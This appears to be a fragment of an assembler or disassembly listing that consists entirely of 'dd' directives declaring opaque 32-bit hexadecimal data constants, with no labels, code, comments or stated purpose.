		dd 7E75A804h, 0E520696Eh, 0CCD0AA2Dh, 1D7C8BF9h, 0F6D81E49h
		dd 0BE7450D9h, 320A0184h, 49459FA5h, 4134FDF4h,	7FDA1544h
		dd 186943C1h, 2600447Dh, 199F93DDh, 10000B46h, 0EA492982h
		dd 55C276h, 0A8CF7084h,	7E164A26h, 6919D100h, 0C56CECC6h
		dd 0AED900D2h, 2D8A8054h, 8605CC1Dh, 36C4D3F7h,	11F29780h
		dd 0D0843978h, 0B0DF140Fh, 0BDC776E0h, 90025C2h, 0F087C5E1h
		dd 7BDD9017h, 8C8401ADh, 5A20B9D9h, 590DE058h, 55CC0E0Ah
		dd 7700F06Fh, 0F31681E4h, 0A7F4038Ch, 0AC507EABh, 0EC7674C8h
		dd 0E10798F2h, 5698EBBh, 0E3772870h, 0B0D800CBh, 9B31D7BEh
		dd 5DE4B45Bh, 2700F774h, 0CB2A38Ah, 0E8885Fh, 0BE95BA18h
		dd 0B3FDB840h, 74452800h, 0C28ADACFh, 41A126AEh, 0F9EE8F88h
		dd 35CC2440h, 83019E7Fh, 41EA032Ch, 39D451CEh, 0D5FC0002h
		dd 736DD314h, 0C504B280h, 0A24D5FC3h, 9A0EC0C0h, 0D4E27Dh
		dd 3EC10479h, 641307ADh, 0F02FB6A1h, 33006508h,	0CBB7778Dh
		dd 7FCCEFFh, 80B48C54h,	7F739069h, 7800446Ch, 9E126DBFh
		dd 0CC2DE5h, 0D8813B4Ah, 0F61143F3h, 806E6B00h,	0C5CBEC44h
		dd 2DA100B7h, 2A5650B8h, 0F00060B5h, 0E3295CF3h, 0ED4B69h
		dd 0F624164Ch, 900E65F4h, 9EFF7100h, 5B2ED244h,	4420F4Dh
		dd 47AEBECBh, 0D0B739C7h, 49823652h, 818D5F3Ch,	0E74B4C0Dh
		dd 60D21607h, 8BB1BEh, 427CC4C8h, 9267B974h, 56C79D00h
		dd 0B855DC58h, 90109561h, 7F0184AAh, 7B20C3ACh,	702A24C0h
		dd 0B7841EA4h, 0E40C18C0h, 0EED70Dh, 1FAD4C85h,	761AC7Dh
		dd 1D675000h, 1BDE10DAh, 57EE3108h, 10AC6829h, 804FF8D3h
		dd 0A088114Eh, 804893Ch, 2FB440Eh, 44531244h, 2284C03Eh
		dd 3650FA96h, 0F0208028h, 97DC22D6h, 8A3C6C50h,	2F62284h
		dd 0FB14B850h, 843EF544h, 88046F3Ah, 47D485EDh,	846640Dh
		dd 6CC42B2h, 1A835021h,	47B25203h, 21046602h, 1D6CDA3h
		dd 550182ECh, 9588D07Ch, 0BBD9BC05h, 0D581E711h, 90FB3C5Bh
		dd 0B1539Eh, 5F0FF185h,	223D2987h, 6676CA00h, 0A1F7FCE0h
		dd 62EEA4h, 0BBC42CD9h,	0CB4454D6h, 1102A3ECh, 585191EBh
		dd 0F42B408Ah, 818F018Bh, 523CC170h, 2436F08Eh,	0C4861A02h
		dd 603997CDh, 1E1919h, 0C34D99FDh, 0BC343A37h, 3E03857Eh
		dd 0A3A936B1h, 0BF1000AFh, 571FE623h, 11120FFDh, 1C44592Ah
		dd 0E7A87E99h, 0E346B003h, 4DE87304h, 42008DA9h, 0A8C19AA3h
		dd 0F59445h, 0CB489C74h, 0EA96439Eh, 19B00702h,	61B2DC28h
		dd 63E4F6D3h, 90C60034h, 0F3827A2Ch, 390180D6h,	0AC107B1Ah
		dd 11D07FAFh, 3854A79h,	0FE33D490h, 8DC868A0h, 0C2C78C1Fh
		dd 0F6F86D80h, 0A4C50Bh, 0D51CD41Bh, 0E72DFB69h, 0D1959100h
		dd 8D42AD76h, 0E2B9074Fh, 0FF0B8CEAh, 1EF21D80h, 0CA181677h
		dd 0D529CEF3h, 99680067h, 0B731A37Ch, 800EF261h, 0E09D63D4h
		dd 0B9D3F5E2h, 0CD3900ABh, 88267803h, 6C00431Dh, 9EA52F40h
		dd 394730FEh, 0F45763h,	190B838Bh, 69FAC651h, 7141FF00h
		dd 398F0A5h, 0DC1016D0h, 328E00D7h, 0A3F2E8CAh,	1395E400h
		dd 58B6E259h, 46B0049h,	0B7463D84h, 0C2004547h,	0F228928Ah
		dd 490B4C9h, 0DC766BBFh, 10B0C07Ah, 47005A3Dh, 89156755h
		dd 0EE4A6DEh, 98FC1EC8h, 0F4285E40h, 5000B148h,	0FBE947A0h
		dd 338961h, 0BABE1F27h,	2235DC6Ah, 83F49E07h, 0A99D78h
		dd 0D23A8440h, 71650F2Ah, 376F1D8Fh, 0B7F6400h,	0FA01FC6Bh
		dd 39275D18h, 84DDF2BBh, 2C36BAD4h, 1CF683h, 0E6A8CBDh
		dd 0E5019D14h, 0FF949074h, 88701308h, 0D41800FEh, 280A2A12h
		dd 0D179F664h, 209F1104h, 64D02133h, 1F8EEA0h, 95E3E719h
		dd 0C4A9BB72h, 0E4FA6F7Fh, 0AA7E6300h, 6D5288EEh, 60670084h
		dd 0C24F025Ah, 1D0195D0h, 90870C3h, 8ACC8E5Eh, 829F0064h
		dd 2F71B5D7h, 5900EEE5h, 982C326Dh, 7020BAEFh, 0A5200BCh
		dd 8DDE5534h, 21B85BD0h, 0D7486600h, 27F7BBE0h,	0DC610F64h
		dd 0E834EFA2h, 0A105FA00h, 1EED134Eh, 6FBF2002h, 48BDF643h
		dd 0FDA6DCh, 0B805DC95h, 2961F9F3h, 0BA306DFCh,	0D133E816h
		dd 7E2B0226h, 827767D0h, 0BFAEA080h, 6E03E79Ch,	4012363Eh
		dd 15E6F85Ch, 0E37876h,	5323B4D5h, 0BD5DF398h, 8C025F00h
		dd 455BECD8h, 64CA0092h, 68AA0D93h, 0E9038308h,	0AE8CD349h
		dd 0AF448012h, 0E68B0331h, 3684590Fh, 0D034A4A9h, 57006538h
		dd 8A54E781h, 2E98D415h
		dd 138951FDh, 0CA6301D5h, 305CF24Eh, 0C300543Fh, 0E2193DDBh
		dd 7A6BBDh, 0B0768793h,	86D84E99h, 7CA8AC00h, 0EFE8AF2Fh
		dd 83F93F77h, 0A433F384h, 4C48567h, 80EEAEA8h, 48C8BCB8h
		dd 900005F8h, 6F9E9E3h,	7758F18Fh, 13D7004Dh, 994C4770h
		dd 0EC00665Eh, 73FA7EFEh, 3D743CCCh, 0D0005B11h, 33B33601h
		dd 0D5008BC2h, 2B06BAC7h, 6C595Dh, 0DFB93916h, 2CF90175h
		dd 923B2F74h, 0EE33008Eh, 0DDBAA2D2h, 5E3E0C42h, 0E99CF357h
		dd 0B72E53E2h, 6312B137h, 2E1E5700h, 0A5DBD7h, 4371F62Fh
		dd 0E749D8A1h, 123F0903h, 0F044DFCBh, 1936B9Bh,	0CD940B95h
		dd 0D7E62C52h, 80383FB1h, 7E024529h, 3EF1A8E4h,	279CAFB6h
		dd 71444086h, 7746B754h, 89BCC300h, 6B5A04D3h, 903E1D82h
		dd 5E1F43AEh, 0E800A7F3h, 99F12891h, 2ABD43h, 64FE0390h
		dd 0A7616ED4h, 0A52C0D00h, 3E09F2C4h, 7A9900E8h, 43571E7Ch
		dd 180065BEh, 0D9A7FE04h, 0E3062ACh, 0C493C3BFh, 69AC0AD3h
		dd 56803FB7h, 0BC2ACDC9h, 9C00D5E1h, 25C1523Dh,	7590C432h
		dd 712DEC5Dh, 6A693F63h, 40B18C00h, 0B3FB9633h,	0FC57161Ch
		dd 63E05880h, 9864AA7Dh, 4A31008Dh, 52B4DF07h, 1F00AB97h
		dd 0EFB830A5h, 0CC5B3D9h, 282AFB85h, 0D55C3C11h, 80550921h
		dd 9BF70053h, 112FB1h, 0F815955Ah, 0E4254EA7h, 693A26E8h
		dd 0E6180B9h, 6D229EBCh, 1E6F044Bh, 803D6CF2h, 0C3DFDE32h
		dd 1FC0B339h, 48402217h, 8C752D47h, 2975B2h, 0DA95E872h
		dd 9601CA13h, 85196260h, 3B71F1CFh, 0F786F424h,	78354403h
		dd 0D701890Eh, 6FCB4194h, 0B340C9EEh, 0E0B2538h, 782B577h
		dd 3BB2C5C0h, 8EC0C26Bh, 0FDF0CC4Fh, 14AD006Dh,	58E4BF97h
		dd 0A8794B88h, 9D001C73h, 0DD19F5CDh, 1BBA07h, 14851216h
		dd 23650EEAh, 315F38C0h, 0F0277675h, 11FA0063h,	2B1E7B35h
		dd 3700B44Eh, 78A7BFB3h, 7DF83E6h, 5A6C607Ch, 1D7AC0D8h
		dd 20000597h, 2EB78C9h,	0E166B85h, 0F9F3109h, 0AC417B00h
		dd 0AE01ABE4h, 298C1CC7h, 0AAE07C13h, 279F0050h, 0A461F720h
		dd 0BB030D0Fh, 0C612CE04h, 0C02BEADCh, 0F4D54Ch, 23628177h
		dd 40A54C37h, 779C203h,	0D8367CFFh, 38F942FBh, 4B38C887h
		dd 0FE49D58Eh, 0BEFFC3E1h, 0CCBFF409h, 84E32E00h, 3CFA738Dh
		dd 0E0209050h, 0D350024h, 89C47D4Dh, 34002527h,	8F1EEA7Eh
		dd 0FFC094h, 9557DD98h,	2C176DB6h, 5C669000h, 0C676A028h
		dd 0EC5D03E3h, 0DA1CAFF2h, 54D8D29Bh, 487EA84Ch, 8D878200h
		dd 9C2378F4h, 88F902F8h, 3AEE612Bh, 0ABE67D40h,	75E80F00h
		dd 0E7F45550h, 1F8B5C5Fh, 0C38FBA00h, 0CC2B871Bh, 0FE993700h
		dd 72BB3AD8h, 200C00C7h, 0B739CE3Eh, 6F3B440Bh,	34C480D5h
		dd 7806978Dh, 333A0076h, 59842EE0h, 0DC00FB9Ch,	3B82F17h
		dd 7B7E4F1Eh, 22DB003Fh, 0C2B18D88h, 660034CAh,	33570480h
		dd 1940BCh, 1FAD6FFAh, 1C1E099Ch, 0FB441003h, 0EFC72DEFh
		dd 4000E787h, 4843Bh, 8C6895F1h, 0B6C04F51h, 4CAC0B0Eh
		dd 0A522C064h, 0B10EB0h, 0A0DFEA79h, 57AE084h, 0DC3A7800h
		dd 0EC1114B3h, 1B5305FDh, 40A18C5Ah, 96C66DBCh,	0F0005979h
		dd 34748838h, 4AEA1537h, 0A5CD8172h, 433EF47Ch,	8CFABA00h
		dd 35FEF27h, 812B03F9h,	65120F95h, 345852F0h, 5328D700h
		dd 0ACEA6AC4h, 25B029h,	8A810EAEh, 1AB75072h, 6DA2101h
		dd 73651914h, 33E7F0h, 0A13E1C26h, 0ADE6C6A9h, 810E2898h
		dd 584571E9h, 0F832EC8h, 8C66795Ch, 0C4B334A0h,	7003E642h
		dd 33AFA60Bh, 0DA78C868h, 95742Eh, 375C82FAh, 0E31BDCB8h
		dd 42187400h, 0E93E279Dh, 2844DF33h, 0F2ECB8h, 0C6FC8EFh
		dd 363A096Bh, 5DDF7A07h, 1B20CA6Ah, 12AE8DC7h, 3441C3Bh
		dd 998647Ch, 0A870CC90h, 96011FEEh, 0F70582F9h,	0BB700407h
		dd 0F4C0013Ch, 0D852C42Ch, 9EA0D0F2h, 990C8905h, 81C2B5DDh
		dd 7F405F4Bh, 7D009BF8h, 0A05A1893h, 0E196F95h,	0FA3FE63Ah
		dd 0FEC28D80h, 4105CB0Bh, 0D9BE53FBh, 9C113AC0h, 229F4CAAh
		dd 76399504h, 3579C0DCh, 0AB503673h, 0A91F2EF0h, 0CCE4C34Fh
		dd 84470Bh, 0DFC8048Bh,	0B01E2631h, 9BC4032Bh, 0CAB1FCA1h
		dd 42C88F82h, 57CB2046h, 3C87E510h, 4B8ED4C2h, 5F7897Ch
		dd 829E4F00h, 1C6608DCh, 0CF6E100h, 0CA80A2E6h,	5A00EF46h
		dd 8200388Dh, 0FCB02DC8h, 135081h, 0C27AFD4Fh, 48A36C07h
		dd 0C3A91213h, 5ABF1040h, 5C57764Ah, 0E30011B4h, 0A8523713h
		dd 0AE0061C4h, 0C7EB881Bh, 1253C9h, 0EE69AA0Fh,	139146D8h
		dd 0D5848E14h, 8A3A3CCCh, 0C815362Bh, 8A351402h, 78596009h
		dd 7E80081h, 0D32ACA3Fh, 0CCA00B58h, 16133C85h,	2410F81Ch
		dd 80930785h, 66803E4Ch, 0A1D2D53h, 404EB25Bh, 41310EF0h
		dd 78EF2EC0h, 6F449E56h, 1AA2008Fh, 0D5D6E445h,	1100D914h
		dd 68E927A9h, 1D0C2E94h, 47CAA03h, 833EF618h, 9626BF78h
		dd 2680303Dh, 0DEF044CBh, 1ED732Ch, 47A96C6Bh, 0E86A9428h
		dd 2900CFEEh, 1BD752F0h, 0FA72E1h, 3530D644h, 712C69E5h
		dd 622AA21Eh, 790432A6h, 788017CCh, 8C3EE4ABh, 94168AC5h
		dd 0DC20AC00h, 9BDB8Ch,	0BFEFBE07h, 0F8402C2Dh,	0A2025832h
		dd 514C4075h, 1FF90AAh,	68BBBA23h, 0FC0C1D30h, 3602206Ah
		dd 3656B16h, 0BE346812h, 7EB3E219h, 7310AE6h, 3B83B1BBh
		dd 5E578909h, 4A003C8Fh, 3975DF0Dh, 946A670Eh, 603C8ED9h
		dd 0E27E858Ah, 9DE60071h, 69F49C8Ch, 8F070816h,	66D3DE34h
		dd 0F87F0049h, 0ED038C64h, 3DEDE030h, 77286A7Ch, 0EE5F08B0h
		dd 0F3A02DDFh, 0CE7FD400h, 9B3CC063h, 57B738BCh, 8E3DE49Dh
		dd 8320391Bh, 0D12E26C2h, 0D42AE200h, 0F565A085h, 0A15B2653h
		dd 70F0067h, 0FD293CE3h, 0DBB05D50h, 0C74358F4h, 1E943601h
		dd 0C02BDFBBh, 221F1FF5h, 0A84098A0h, 43BDB3BAh, 8FBE0083h
		dd 0FD0DF40Fh, 820E816Eh, 80F8A720h, 296BDFF2h,	2A6800A5h
		dd 52DE0D12h, 810106EBh, 9473A80Ch, 1080EFE2h, 7F8D37F9h
		dd 3C0F656Fh, 0B50DDBh,	62AB5DEBh, 0BA58C077h, 0ADC3BD73h
		dd 898B3A00h, 0CD6FB649h, 346E00BCh, 0C9BE82A4h, 32005BE7h
		dd 9EE2FBFFh, 7A4CCFC0h, 70E0FEEDh, 24600005h, 0E827D469h
		dd 7704E499h, 0DEDD4794h, 2921B090h, 9096019Dh,	0B49C2F6Bh
		dd 55808049h, 5FCFD9E4h, 0E0C70026h, 91A42B5Eh,	131F519Ah
		dd 1000E938h, 885F0764h, 304D028Fh, 4A839EA5h, 9734C780h
		dd 33001DB2h, 0B03E4605h, 9644A4h, 35A31F2Eh, 0B78FE03Fh
		dd 5D7C7E74h, 8076600h,	0A3916D48h, 0C35000A1h,	8B80E65Bh
		dd 24012A9Eh, 0F2569CFDh, 0BC507057h, 3B32A0h, 85E75E03h
		dd 0D8B31BC1h, 73165F02h, 0C0A229F1h, 1497B24h,	0B89B427Ch
		dd 0FC9D41A6h, 160080F4h, 0E5CBB43Bh, 17BA8E6h,	0DBBCF247h
		dd 40C9C850h, 888C4A84h, 0E9980104h, 87C386DDh,	0ADBED0AAh
		dd 7110094h, 89A47332h,	5B003F6Ah, 6224FC77h, 281D4041h
		dd 90A0DA76h, 1AEA00C0h, 4C94EFF7h, 0A2759038h,	3A506B01h
		dd 611F1DDAh, 0D7ADDCh,	0D5755CD6h, 7E5D146h, 500BD275h
		dd 7F34F4h, 539939B0h, 0D2900BAh, 2C3D20FBh, 482563C0h
		dd 20AAFC2Dh, 0D85C09FCh, 14037F59h, 4F84C40h, 0EB0F5714h
		dd 0AEDE8BAFh, 5CC0BD62h, 0D3A40F5Ah, 904A7CC5h, 21E90068h
		dd 9E3A0E15h, 51D722Fh,	38CED27Ch, 24F1C230h, 23D460B9h
		dd 2EB818DEh, 0C59E11E1h
		dd 0D035CC00h, 0A04F539Fh, 0FF080045h, 0E2E125EEh, 59039154h
		dd 832B8E79h, 5E23F8CDh, 0E07F018Bh, 0D460ED96h, 0EFE83073h
		dd 0BFFBC601h, 7A3F8C16h, 0A6B920DEh, 1B71F36Fh, 0E9858300h
		dd 0F14F4540h, 574B093h, 6BD40220h, 66B890AAh, 1A3B0AC2h
		dd 542D9EF6h, 5A039080h, 7DD92Ah, 16AFDA1Dh, 1E334888h
		dd 2CEB2224h, 800D548Fh, 0E3C630F0h, 86392621h,	525A8F28h
		dd 0C00EBA45h, 6063D856h, 0C530F700h, 0B5D21622h, 3FE8C0E0h
		dd 86EB8A0h, 8A2F5C04h,	2C80AFFFh, 4888CDFCh, 7309B04Bh
		dd 2C109796h, 0B1057083h, 3FC50C30h, 10548892h,	0AC005543h
		dd 0F424BAD6h, 0CDC5AAh, 78163A33h, 0ECF6F549h,	124D110Fh
		dd 6FE6625h, 0E3050026h, 885EB808h, 7A0B1A02h, 602AD1D4h
		dd 5D058369h, 82C0A8E2h, 7A35658Fh, 1EA71300h, 0C6043479h
		dd 0E8700ECh, 2C3EF73Fh, 0AA26DD4Dh, 6916503Bh,	8B6EA400h
		dd 0FC339EBh, 0B42AED5Fh, 7480EA29h, 2F7A3E78h,	2B287460h
		dd 0FE0A7947h, 7C5E4C4Dh, 0EB537216h, 10EB120Bh, 3188F4h
		dd 0F4BC1784h, 8003A8AFh, 8CC9A906h, 311BF9Bh, 0D5D3F32h
		dd 0B00E6805h, 7F3A1F7Dh, 0D801EE1Ch, 6F14B66Ch, 772EE840h
		dd 61B01541h, 1F007836h, 0BF6A1C5Eh, 0AD7693C5h, 6FCD700h
		dd 0E37498E2h, 50F89789h, 0C481E11Fh, 9CEA0A80h, 4C5344B2h
		dd 0FE0050A9h, 843BD58Bh, 68003088h, 1C1FEA54h,	162A9682h
		dd 76D8AF6h, 4F86AF48h,	0BF203F6Eh, 8043E083h, 40ED7C2Eh
		dd 4B936B00h, 0F3C9463h, 0A80E6C0Dh, 0F1FD1BA2h, 0BB5A1440h
		dd 0BCC35700h, 0DF711A78h, 2ED40036h, 0F19AF31Bh, 5804805Fh
		dd 3B8BC346h, 0EE0108A5h, 829178Eh, 26B9500h, 0DC30896h
		dd 3524FF0Ch, 0BDC0655h, 93273F17h, 21E12C80h, 4B00FEF1h
		dd 1CC5138Ch, 7D83C24h,	8664A1C6h, 8DAE902Dh, 802508ECh
		dd 44C838BFh, 380D0597h, 0C4FAAC5Ch, 21DCC051h,	0E30E7BDEh
		dd 0E2F2BC8Bh, 0C19D5C61h, 683255F0h, 7C001648h, 96CE3FCBh
		dd 0DAFEAD67h, 0ED4DC209h, 790C81FAh, 0DBDCA924h, 393C007Fh
		dd 6FD9CC12h, 0CBFC08D0h, 95B52805h, 54C08A9Ch,	493F81Eh
		dd 33B64326h, 2F40800Dh, 2500AD4Bh, 0DFCCD6EBh,	47B27h
		dd 33A23E7h, 0A16CA0D3h, 1C7A0624h, 0ACC66301h,	50877EB6h
		dd 90C05294h, 7CE4720h,	7C194Dh, 534F75DAh, 1FD41079h
		dd 0A1F684h, 0B997FB26h, 550151DBh, 8052A8Eh, 0F0DBA481h
		dd 87E5E4h, 822949FAh, 58D09D5Bh, 0E378A000h, 0BA391285h
		dd 6D10753h, 0F0D7FC1Ah, 99600F2Eh, 0DB9F5C00h,	0B741DB1h
		dd 0D1DF00ADh, 2F3CD335h, 6D189123h, 0CFB0AAD0h, 7CA7612h
		dd 0DF0CB47Bh, 0B1E03F70h, 0A69B687Ch, 1E52BF03h, 0BB058287h
		dd 63C1F02Ah, 68900A61h, 0A82F56h, 0E80BF5E1h, 0A190B39Ch
		dd 2E1C4500h, 68F063A8h, 0D0234867h, 0DEE50F73h, 35A0E7CBh
		dd 9E448227h, 0B02DB202h, 0E941DD68h, 49D95890h, 9C42B6E1h
		dd 126C405Eh, 0E3D803D5h, 0E87FE186h, 806635A8h, 0B009479h
		dd 2E99B66Fh, 0B0557140h, 0F0811780h, 0D450204Ch, 0E3A46CEh
		dd 0D67E269Bh, 0FA9F3424h, 7CC1D2C0h, 2E026086h, 80C43546h
		dd 0FF2B04D8h, 444C2EF7h, 98250370h, 0EC10A5h, 27C0CA20h
		dd 648FA1F0h, 23D19A04h, 8819508h, 0C4736F05h, 139E4CC7h
		dd 44C00FB5h, 9F2601E2h, 920054A9h, 4A723D5Eh, 0D3A5090Ch
		dd 78A64375h, 0E83AC8E4h, 86DB800Fh, 82B0DC0Ah,	3BE60174h
		dd 3FEA2DDEh, 0A79BD072h, 1A665B0Ch, 8821B1h, 6EEE76E3h
		dd 1EB2065h, 5954C402h,	409ED03Ch, 3D52DFE4h, 380049ABh
		dd 0B4DD61ACh, 34007355h, 88FBCBB3h, 30A625h, 9A7A8ED5h
		dd 0A5D7A358h, 75F0A816h, 1997C00h, 6D234Ch, 53C4AAE6h
		dd 0D0519858h, 0ABFEED78h, 354C048h, 6FA9E83Dh,	8E26D92Dh
		dd 0AE9443h, 0B97232A8h, 8FEC0D7h, 0C959B9B8h, 0A48A285Ch
		dd 34CC4800h, 0D86C0F35h, 2BD00F70h, 0EDC1B097h, 204FF346h
		dd 0F91D3074h, 28A406CCh, 0BB5F1007h, 3DE4C03Fh, 0D565C6h
		dd 0EFAD912h, 0DEA7A1A5h, 0F940813Ah, 36D16900h, 857350CFh
		dd 0AAFE87h, 0BB8AE6B2h, 0E02B306Bh, 694280B1h,	24D0A478h
		dd 0AEF0349Dh, 4665007Fh, 9E40EE61h, 0B9032D59h, 500E8FF7h
		dd 7F33C8A7h, 3067065Eh, 40AC2328h, 0B449827Dh,	6C907780h
		dd 65FB1502h, 58AC0A18h, 880C00D0h, 6B163706h, 3603A729h
		dd 78E2A0FEh, 96DDF8FCh, 0BCEA00E9h, 5B405E59h,	0F069A77h
		dd 436E59Fh, 39090FEh, 0B94E8E1Bh, 2AB0AC1Dh, 227877D4h
		dd 9400F34Eh, 42AEC4FCh, 9223019Dh, 72C34035h, 0FB2C649Eh
		dd 0F39C6E00h, 10635A3Fh, 484D0EF9h, 4360448Ah,	0D2743214h
		dd 0E3CE3A0Bh, 0E7A700E9h, 53E1A83h, 87620B02h,	0C52780EEh
		dd 619595BFh, 803B0789h, 442A8C11h, 1D342100h, 4E2CE3CFh
		dd 6DF1005Eh, 0A2577E3Ah, 2700DCFDh, 0CD889EA5h, 387B28Fh
		dd 0DBCE7DF2h, 14C0DAABh, 8E3986F9h, 683200A0h,	0F14033FFh
		dd 0C9885h, 0DC973E7Ah,	0A055803Ah, 13D8EF00h, 0D9FFBC63h
		dd 43720E22h, 6C220EE0h, 0C4BAD71h, 0F22904D8h,	453F2F00h
		dd 197BEE15h, 4797626h,	4410B21Ah, 2598517h, 9CDC014h
		dd 1300C070h, 2D6AE7E9h, 0D0D384h, 0C9C234C8h, 4F5ACC42h
		dd 96534139h, 0CC90A02Ah, 78D3BEAh, 7E1F9B60h, 0A55C1020h
		dd 0E098D0A4h, 36E4A100h, 1A8E5F64h, 0D78500E6h, 0E11422CEh
		dd 951E0ABDh, 56CEE463h, 9D9C20C1h, 745ECC9Fh, 0F5213A4h
		dd 380115F4h, 0EE753D00h, 0D0F80445h, 0ACBC5A3Eh, 7883E84Eh
		dd 0C506EFDCh, 7964F890h, 0F8CC07AEh, 50B1213Ch, 10AD40DBh
		dd 89E08400h, 99022C2h,	47F30E0Bh, 5F009EA1h, 0EFC02A1Ah
		dd 64AEDB2Ch, 0CBDCD101h, 0F1406DE9h, 554769h, 0F9E42C2Bh
		dd 5632F212h, 0BDDE4B3Fh, 63EA823Eh, 608BC95Eh,	4299F4h
		dd 460874B1h, 85DF0783h, 7D093C7Fh, 808D8E19h, 0F2491E28h
		dd 844D1E87h, 0E5E9CEDBh, 7F347EA1h, 3BC1CC75h,	0F795AB00h
		dd 9D430269h, 0D8980127h, 0C45D38ADh, 2D15D05Ch, 82D65800h
		dd 0F06250E0h, 0D38830F2h, 549EE310h, 0E9880BF2h, 46180022h
		dd 7C1C7A3Ah, 0FD26293Dh, 0DB00F8FFh, 7F60E726h, 0EB70A2h
		dd 0ACBADDB7h, 31CFF518h, 0BDCBCE00h, 0D3A1BB3Dh, 5B5A44A2h
		dd 6449025Ah, 99D0C0FCh, 1BF4167Fh, 81C0009h, 0D8CDED94h
		dd 0CCC36517h, 32D61800h, 4CE1669h, 0B9D3A387h,	0D8DCE0C1h
		dd 8AE0D49Ch, 1E1D2B4Bh, 6C6703F0h, 2DE70045h, 2C6AEAF3h
		dd 78D00200h, 0B3885D50h, 0D65B0066h, 8A248F30h, 0C875B58Dh
		dd 150E1A17h, 33AC09h, 0AC9FA043h, 0A6A055Eh, 80F53A74h
		dd 784832B0h, 4DC78900h, 0E81308B0h, 90685069h,	3FFC0750h
		dd 0C0318A99h, 0F1BC80DFh, 0EA1CAE00h, 71C7285Dh, 9325004Dh
		dd 330F112Fh, 0D502402Bh, 990EB670h, 22E84083h,	0F07638h
		dd 489477E2h, 36B9097h,	11F86400h, 351517C8h, 833613B7h
		dd 561C0522h, 27A8A4E7h, 6B00CCECh, 3EEB2306h, 48E13D41h
		dd 0DF01E8D0h, 0AE24FC0Bh, 0D569D829h, 8D005CB8h, 0B171F13Bh
		dd 0F08F43h, 0C82F57B7h, 0BA990465h, 0E05D2028h, 22D3C600h
		dd 0D034251Fh, 0A439499Dh, 5C77C33Fh, 50004449h, 0E5CBB066h
		dd 3D781C22h, 0B30BB217h, 164F185Fh, 89EFCEFAh,	98042040h
		dd 60589CE7h, 27AA117Fh, 0F3004AB8h, 64055744h,	423D5ECh
		dd 332CF784h, 0F8E8F016h
		dd 4190CD48h, 0C32EBh, 28A7EACAh, 0C02AB306h, 714DFCA8h
		dd 11C0A3AFh, 14D097ABh, 4BFF0306h, 0D57FBA8Ch,	0D0260D7h
		dd 9A27E083h, 2BD820D7h, 0A4BB68h, 8D41EDCBh, 538FBFBEh
		dd 762EA0Eh, 9716E0F8h,	0FEED1386h, 303E0025h, 2DEFAE6h
		dd 6E07FDE4h, 95FFCAC8h, 65EA8C0h, 46B10077h, 0D96692DBh
		dd 2FE21C8Dh, 0FDCCB03h, 880AFD4Eh, 2A854Ah, 53B470F3h
		dd 3FFBBE2Eh, 0E817CF00h, 0DB11D930h, 0BD4F03D6h, 0C3AD494Dh
		dd 109BA0F0h, 7A2E560Ah, 0F2038C7Fh, 0B83D3136h, 5A3B7B85h
		dd 4838B86Dh, 0BB1718DBh, 0A04C35CCh, 34F0A5h, 0F3361CA6h
		dd 0CA74DC6Fh, 0D6993100h, 0EB49F290h, 52E317FEh, 0C4400B5h
		dd 0FDB4C01Bh, 74D38301h, 2EAFDCBAh, 7500286Dh,	341573A3h
		dd 4B3F3B71h, 8061B84Ch, 6253EDA7h, 0EB7DF2Fh, 3934416Eh
		dd 8D79A0C0h, 0AA079B06h, 941E38CEh, 6B1CE7B0h,	349D09F1h
		dd 0C00FE2Fh, 0CF5D6EE8h, 760A5400h, 6D5293E1h,	2CF9079Bh
		dd 4ECED126h, 8210EECh,	22FB2000h, 0DB74F6C0h, 25C8029Ah
		dd 6298FE69h, 5B271C40h, 0F07CAB00h, 0AAD436Ch,	64A00C5h
		dd 8B54E003h, 6100EBCAh, 2F0DEF8Ah, 0C6E81Bh, 0E5188313h
		dd 87EDC74Ah, 8E228200h, 0DF1BAD94h, 0A1FAABh, 1693D7B1h
		dd 3B6C0DECh, 0B4E00400h, 0E8CA9C26h, 409E0052h, 64F1CB10h
		dd 0EB00A16Ch, 0EA873ECh, 1EA9C098h, 0C07CB17Bh, 0E3D519C1h
		dd 0CD003139h, 0E72B4C59h, 7B745D46h, 9BF0007Dh, 1457E3E1h
		dd 25752660h, 0FC4DE90Fh, 0C8B6C009h, 2C4ACCA4h, 60AB1h
		dd 9CC07965h, 3901DB17h, 36DC4758h, 466095D5h, 2F0C3DACh
		dd 0CC8312h, 4424F9E5h,	0A900E5F8h, 6D379855h, 744945h
		dd 768DD7CBh, 9467E94Fh, 3AFEE81Eh, 62EC9780h, 4892CE64h
		dd 98006951h, 5A7ACB8h,	0EA00CD57h, 5AAE9658h, 22BEF5h
		dd 92941D9h, 6C711F1Ch,	0D7F28B18h, 6D111h, 47CAA053h
		dd 9590B234h, 0B36E8703h, 0A0A5DABDh, 0F0A16FF9h, 12CD7811h
		dd 19EC3FCBh, 0EB764140h, 9B4EE7E8h, 8710C004h,	16C06A7Fh
		dd 1828391h, 0D957E9Fh,	0C4EFBD36h, 0B75AA698h,	0AEFA3680h
		dd 0A7740077h, 0CF278F20h, 0F30048BDh, 8DE5B04h, 3B6644h
		dd 2FF1B63Fh, 99971DBCh, 0E533CF00h, 9D8F1C96h,	0A1B1C08Ah
		dd 0AA486DE7h, 7A5A400h, 5DEBB751h, 7213FE49h, 65B86Bh
		dd 0C4B11B6Dh, 35C12CA7h, 0F0003FEh, 8C7DF620h,	632D5Fh
		dd 51462807h, 3F06BBE8h, 35B1D900h, 123083AAh, 135D00AFh
		dd 0CAD52D65h, 1600D2C3h, 3952257Bh, 4C4906AEh,	4B3BD8EFh
		dd 63D45C00h, 5DD64A0Eh, 0E44C1800h, 24F5E33h, 6A640041h
		dd 71FB3ED2h, 0C01795CDh, 5916E153h, 30004416h,	743F0D81h
		dd 0D7B61DBCh, 87903478h, 0E8BAD03Ch, 273AA597h, 5F18E073h
		dd 0E8EE2D90h, 7E87285Bh, 49F50418h, 0E0BA0Eh, 719888C8h
		dd 5E80745h, 8280C609h,	28107B86h, 5B5E0A23h, 8407727h
		dd 694CA37Fh, 0B67AC2h,	0EC984B8Dh, 7C27A087h, 88018A9h
		dd 0B4BE4CF9h, 0EA386D30h, 872A575Fh, 7D18507Ah, 0A588BA0Dh
		dd 0EDAC00A8h, 458F9F1Ch, 5A981AE2h, 3B3E0900h,	5007EA4Fh
		dd 0C9B901FAh, 0E82376DCh, 709DEC82h, 6966BB07h, 3C909E6Dh
		dd 0F72957h, 0B53A360Eh, 192C73Bh, 366833Ch, 0EC6D6FE4h
		dd 6B95E807h, 0D38200F3h, 336A151Dh, 4E010537h,	556E4696h
		dd 0B9E4941Ah, 30C70462h, 97E2A760h, 7FECF00Ch,	0AF0064CBh
